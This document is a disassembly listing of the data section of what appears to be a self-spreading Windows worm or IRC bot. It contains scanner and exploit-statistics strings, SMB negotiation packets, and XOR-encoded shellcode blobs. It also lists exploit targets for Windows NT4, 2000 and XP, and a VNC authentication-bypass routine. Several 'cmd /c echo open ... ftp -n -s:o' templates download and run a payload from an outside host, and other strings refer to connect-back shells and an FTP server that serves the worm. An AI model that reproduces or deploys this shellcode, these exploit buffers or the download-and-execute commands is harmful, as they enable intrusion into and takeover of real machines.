		dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
		dd 0C3h
dword_44819C	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40B813+10o
; char aD_S_0[]
aD_S_0		db '%d. %s',0           ; DATA XREF: sub_40B813+46o
		align 4
; char aSSStopped_DThr[]
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B9E4+35o
		align 10h
; char aSNoSThreadFoun[]
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B9E4+51o
		align 4
aSym		db 'sym',0              ; DATA XREF: sub_40C951+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BE3A+30o
		align 4
		dd 5 dup(0)
dword_448220	dd 0B97h		; DATA XREF: sub_401CC7+1D91r
					; sub_401CC7+1DBAo ...
off_448224	dd offset sub_40EB28	; DATA XREF: sub_40C951+1EAr
dword_448228	dd 0			; DATA XREF: sub_40BCAA+2Eo
					; sub_40DB0C+19Ew ...
dword_44822C	dd 1			; DATA XREF: sub_40C12D+1Fr
dword_448230	dd 1			; DATA XREF: sub_40C12D+3B3r
dword_448234	dd 0			; DATA XREF: sub_40C12D+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch
		dd offset sub_40EC5E
		dd 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh
		dd offset sub_40E9BD
		dd 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh
		dd offset sub_40E9BD
		dd 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h
		dd offset sub_40DB0C
		dd 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh
		dd offset sub_40DB0C
		dd 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh
		dd offset sub_40DB0C
		dd 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
		dd 6D7973h, 0
		db 2 dup(0)
byte_448402	db 1			; DATA XREF: sub_401CC7:loc_4039D1r
					; sub_401CC7+1D14o
		db 76h
		dd 636Eh, 0
		dd 656E0100h, 39333174h, 0
		dd 74656E01h, 353434h, 1000000h, 346E7361h, 3534h, 10000h
		dd 3 dup(0)
		dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
		dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
		dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
		dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
		dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
		dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah,	9912589Ah
		dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
		dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
		dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh,	1059AA24h
		dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
		dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h,	10A1DF10h
		dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
		dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
		dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
		dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
		dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
		dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
		dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
		dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
		dd 99h
; char asc_4485BC[]
asc_4485BC	db '-'                  ; DATA XREF: sub_40BCAA+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
; char asc_4485DC[]
asc_4485DC	db ' '                  ; DATA XREF: sub_40BCAA+46o
		db 3, 37h, 25h
		dd 203A0373h, 2C6425h
; char aTotalDInS_[]
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40BCAA+86o
		align 4
; char asc_4485FC[]
asc_4485FC	db '-'                  ; DATA XREF: sub_40BD79+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
; char asc_448644[]
asc_448644	db '-'                  ; DATA XREF: sub_40BDE5+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
; char asc_448670[]
asc_448670	db '-'                  ; DATA XREF: sub_40BE3A+14o
		db 3, 34h, 2
		dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch
		dd 3Ah
; char asc_44868C[]
asc_44868C	db ' '                  ; DATA XREF: sub_40BE3A+40o
		db 3, 37h, 25h
		dd 28200373h, 73253403h, 2C2903h
; char aScanTimeS_[]
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BE3A+7Fo
; char asc_4486AC[]
asc_4486AC	db '-'                  ; DATA XREF: sub_40BF01+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
; char asc_4486DC[]
asc_4486DC	db '-'                  ; DATA XREF: sub_40BF01+172o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
; char asc_448710[]
asc_448710	db '-'                  ; DATA XREF: sub_40C0B6+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
; char asc_44872C[]
asc_44872C	db '-'                  ; DATA XREF: sub_40C0B6+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
; char asc_44874C[]
asc_44874C	db '-'                  ; DATA XREF: sub_40C12D+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_2	db ' Server started on Port: %d, File: %s.',0
		align 10h
; char asc_448780[]
asc_448780	db '-'                  ; DATA XREF: sub_40C12D+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_35	db ' Failed to start server, error: <%d>.',0
		align 4
; char asc_4487B4[]
asc_4487B4	db '-'                  ; DATA XREF: sub_40C12D+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
; char asc_4487E8[]
asc_4487E8	db '-'                  ; DATA XREF: sub_40C12D+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_36	db 'Failed to start server, error: <%d>.',0
		align 4
; char asc_44881C[]
asc_44881C	db '-'                  ; DATA XREF: sub_40C12D+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_4	db '- Server started on Port: %d.',0
		align 4
; char asc_44884C[]
asc_44884C	db '-'                  ; DATA XREF: sub_40C12D+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_37	db '- Failed to start server, error: <%d>.',0
; char asc_448884[]
asc_448884	db '-'                  ; DATA XREF: sub_40C12D+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_1	db ' Server listening on IP: %s:%d, Directory: %s\.',0
; char asc_4488C0[]
asc_4488C0	db '-'                  ; DATA XREF: sub_40C12D+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_38	db ' Failed to start server, error: <%d>.',0
		align 4
; char aD_D_D_D_0[]
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40C64B+38o
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: .text:0040C879o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:0040C8B0o
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: .text:0040C90Ao
		align 4
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: .text:0040C92Fo
		align 4
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: .text:loc_40C93Fo
		align 4
; char asc_448978[]
asc_448978	db '-'                  ; DATA XREF: sub_40C951+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_4489B0[]
asc_4489B0	db '-'                  ; DATA XREF: sub_40C951+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
; char asc_4489D8[]
asc_4489D8	db '-'                  ; DATA XREF: sub_40CB69+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
; char asc_448A0C[]
asc_448A0C	db '-'                  ; DATA XREF: sub_40CB69+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_448A40[]
asc_448A40	db '-'                  ; DATA XREF: sub_40CB69+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
; char asc_448A78[]
asc_448A78	db '-'                  ; DATA XREF: sub_40CB69+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
; char asc_448AB8[]
asc_448AB8	db '-'                  ; DATA XREF: sub_40CDC8+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 10h
; char asc_448AE0[]
asc_448AE0	db '-'                  ; DATA XREF: sub_40CE95+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
; char asc_448B08[]
asc_448B08	db '-'                  ; DATA XREF: sub_40CF86+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
; char asc_448B34[]
asc_448B34	db '-'                  ; DATA XREF: sub_40CF86+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40D335+B2o
		align 4
dword_448B6C	dd 10FF8h, 0		; DATA XREF: sub_40D335+6Ao
dword_448B74	dd 10FF8h		; DATA XREF: sub_40D335+79o
dword_448B78	dd 7FFDF020h, 0		; DATA XREF: sub_40D335+162o
dword_448B80	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D75F+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_448C08	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D75F+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_448C38	dd 0			; DATA XREF: sub_40D75F+44o
		dd 800000D4h, 0
unk_448C44	db  81h	; 		; DATA XREF: sub_40D839+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_448C90	db 41h			; DATA XREF: sub_40D8D7+FFr
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4
aSvwfbA		db 'SVWf',0          ; DATA XREF: sub_40DB0C+82o
aIcsa		db '',0
		db 2 dup(0), 0FFh
		dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
		dd 6B680476h, 0E8CA2BD0h, 0E2h,	0E80C4689h, 3Fh, 680476FFh
		dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
		dd 0B9C78910h, 410h, 315EA4F3h,	505050C0h, 0FF505053h
		dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh,	23E8h
		dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
		dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h,	0FF64D231h
		dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
		dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h,	8B7FFDF0h
		dd 8468B1Fh, 7F8B0789h,	78C781F8h, 89000001h, 741939F9h
		dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh,	891189F6h
		dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
		dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
		dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
		dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
		dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
		dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_448E3C	dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
					; DATA XREF: sub_40DB0C+30o
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_448ECC	dd 23h			; DATA XREF: sub_40D2DA+1Bo
; char dword_448ED0[]
dword_448ED0	dd 909006EBh, 90909090h, 0 ; DATA XREF:	sub_40D335+E8o
; char aCccc[]
aCccc		db 'CCCC',0             ; DATA XREF: sub_40D335+153o
		align 4
dword_448EE4	dd 3			; DATA XREF: sub_40D335+246o
; char dword_448EE8[]
dword_448EE8	dd 0A1h			; DATA XREF: sub_40D335+29Fo
; char dword_448EEC[]
dword_448EEC	dd 30h			; DATA XREF: sub_40D335+2CAo
; char dword_448EF0[]
dword_448EF0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40D335+2F5o
; char dword_448EFC[]
dword_448EFC	dd 60h			; DATA XREF: sub_40D335+320o
; char aCmdCEchoOpenSD[]
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_40DB0C+57o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_448F68	dd 0E983C933h, 0D9EED9AFh, 5BF42474h, 0BB137381h, 836AD31Eh
					; DATA XREF: sub_40E3C7+2B3o
		dd 0F4E2FCEBh, 25387447h, 952CE753h, 6587E44h, 2F583A9Fh
		dd 6FAF9587h, 0E13C1FC3h, 355806F4h, 89381F9Bh,	5E58578Bh
		dd 5B3D1F30h, 0EE7F877Bh, 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
		dd 89A6369Fh, 6BF74130h, 66587850h, 768C95F0h, 46D0F5BAh
		dd 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh, 0C7CF6E30h
		dd 34DB5E30h, 649D90D3h, 0BC2C4E57h, 39B5C58Ah,	58E076DDh
		dd 58A069D3h, 0BA2C4AE4h, 963ED5D3h, 0BC2C4E80h, 0C3697E4h
		dd 68DBF33Ah, 95D174EEh, 630A766Bh, 9584B34Eh, 39804D6Dh
		dd 39904DE8h, 0BA2C4DF8h, 0FD376DDh, 8B5A4DDDh,	7077762Eh
		dd 9584D9CBh, 3BC3746Dh, 203E1EEh, 83FDB31Fh, 3905E1ECh
		dd 203E1EEh, 2355575Eh,	3A05E1ECh, 95864AEFh, 8DBB8D6Bh
		dd 3DAAD8C2h, 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h
		dd 0E31F37E2h, 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h
		dd 0C1EB6436h, 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h
		dd 6BB94FEAh, 3B864FEAh, 0C7BBCE44h, 391D1B62h,	95B9C844h
		dd 0BA2C2944h, 0E92F4930h, 0BC2C7A7Fh, 203E1E9h, 0A33D054h
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4490C8	dd 0EFFFC481h, 44FFFFh	; DATA XREF: sub_40E3C7+29Ao
		dd offset aWindowsNt42000 ; "Windows NT4, 2000 (SP0-SP4)"
dword_4490D4	dd 42Ah			; DATA XREF: sub_40E3C7+24Dr
dword_4490D8	dd 3E8h			; DATA XREF: sub_40E3C7+2BEr
dword_4490DC	dd 258h			; DATA XREF: sub_40E3C7+290r
byte_4490E0	db 1			; DATA XREF: sub_40E3C7+1F9r
					; sub_40E3C7+2C7r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4490F8	dd 20804h		; DATA XREF: sub_40E2CBr
					; sub_40E3C7+2E5o ...
aWindowsNt42000	db 'Windows NT4, 2000 (SP0-SP4)',0 ; DATA XREF: .data:004490D0o
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:004490E4o
		align 10h
; char a__6[]
a__6		db '.',0                ; DATA XREF: sub_40E3C7+10o
		align 4
; char aSIpc[]
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40E3C7+33o
		align 10h
; char aSPipeBrowser[]
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40E3C7+84o
		align 4
dword_449154	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40E3C7+F5o
dword_449168	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40E3C7+151o
dword_44917C	dd 2EBh, 0		; DATA XREF: sub_40E3C7+221o
; char aCmdCEchoOpen_0[]
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E8CF+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4491F8	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EB28+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
; char aCmdCEchoOpen_1[]
aCmdCEchoOpen_1	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40EA11+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
word_44A480	dw 1			; DATA XREF: sub_40EC5E+Ar
		align 4
; char aRfb03d_03d[]
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: sub_40EC5E+93o
		align 4
; char aVncD_DSSAuthby[]
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: sub_40EC5E+1FCo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40EF74+130o
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40F160+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F402+1C9o
		align 4
; char aSS_3[]
aSS_3		db '%s %s',0            ; DATA XREF: sub_40F402+251o
		align 4
; char aUser_1[]
aUser_1		db 'USER',0             ; DATA XREF: sub_40F402+262o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F402+277o
		align 4
; char aPass[]
aPass		db 'PASS',0             ; DATA XREF: sub_40F402+287o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F402+29Bo
		align 4
; char aSyst[]
aSyst		db 'SYST',0             ; DATA XREF: sub_40F402+2ABo
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F402+2BFo
		align 4
; char aRest[]
